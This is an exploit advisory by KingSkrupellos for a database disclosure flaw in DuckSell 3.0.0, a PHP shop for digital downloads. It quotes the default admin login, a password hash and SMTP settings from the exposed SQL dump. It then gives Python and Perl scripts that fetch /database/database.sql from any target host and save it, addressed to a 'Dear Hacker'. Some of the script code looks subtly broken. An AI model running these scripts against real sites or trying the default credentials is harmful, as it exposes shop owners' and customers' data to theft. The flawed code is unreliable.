###########################################################################
# Exploit Title : DuckSell 3.0.0 Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 09/06/2019
# Vendor Homepage : ducksell.com
# Software Download Link : github.com/interactive32/ducksell/archive/master.zip
# Software Version : 3.0.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/
###########################################################################
# Information about Software :
****************************
DuckSell allows you to sell your digital products on your own website and deliver them
securely to your customers. You can easily sell various types of downloads.
For example: pdf, ebook, program, template, photo, music, video, audio, mp3 etc.
The script automatically generates a unique, secure download URL for every purchase
which do not show the location of the download files on the server. For every purchase new
license key is generated and it can be set to expire if required. Unlimited products and
multiple products per order are supported.Tracking cookies are seamlessly used so you can know
exactly where your customers are coming from and how they interact and convert on your website.
Check referrals in your reports and optimize your marketing efforts for best conversion rates.
###########################################################################
# Impact :
***********
* The product stores sensitive information in files or directories that are accessible
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
MySQL over the World Wide Web. It can be used to dump a database or a collection of
databases for backup or transfer to another SQL server (not necessarily a MySQL server).
The dump typically contains SQL statements to create the table, populate it, or both.
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
should not be found on a production system.
* It looks like this file contains a database backup/dump.
Acunetix inferred this filename from the domain name. A database backup contains a record of the
table structure and/or the data from a database and is usually in the form of a list of SQL statements.
A database backup is most often used for backing up a database so that its contents can be restored
in the event of data loss. This information is highly sensitive and should never be found on a production system.
Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible
to the web server. As a workaround, you could restrict access to this file.
Installation Instructions :
***********************
Copy all files to your web server using your favorite FTP client
(or get the files directly on your server via git clone)
Create a database for DuckSell on your web server, as well as one MySQL user
who has all privileges for accessing and modifying it.
Import database from database/database.sql file using phpMyAdmin or similar
database administration tool.
Configure database by opening inc/.env-sample in a text editor,
fill in your information, and save it as inc/.env
Open terminal, ssh to your server, and go to inc/ folder. Run composer install
to install Laravel and all dependencies. If you cannot ssh to your server then do
this localy and upload all the files with FTP after composer gets them
Make sure apache can read and write to all files, update file permissions/ownership if necessary
Open the app in your browser and you should be able to see login screen
Login with admin@example.com / admin123
###########################################################################
File :
******
/database/database.sql
Information :
*************
INSERT INTO `options` VALUES
('global.admin-mail','admin@example.com'),
('mail.from.address','noreply@example.com'),
('mail.from.name','Shop'),
('mail.host','smtp.example.com'),
('mail.password',''),
('mail.port','465'),
('mail.username','test@example.com'),
{{ $user_email }}\r\npassword: {{ $user_password }}
INSERT INTO `users` VALUES (1,'admin','admin@example.com',1,
'$2y$10$qUZYtNbkuOt.u0LmZw1Xx.x5VaIhO7Zh3ByvkQ7plQ9DiDv36RzMO','',
'','2016-01-01 00:00:00','2016-01-01 00:00:00',NULL);
raw.githubusercontent.com/interactive32/ducksell/master/database/database.sql
###########################################################################
# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/database/database.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
###########################################################################
# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('DuckSell 3.0.0 Database Disclosure Exploit');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="database/database.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/database/database.sql");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/database/database.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
###########################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###########################################################################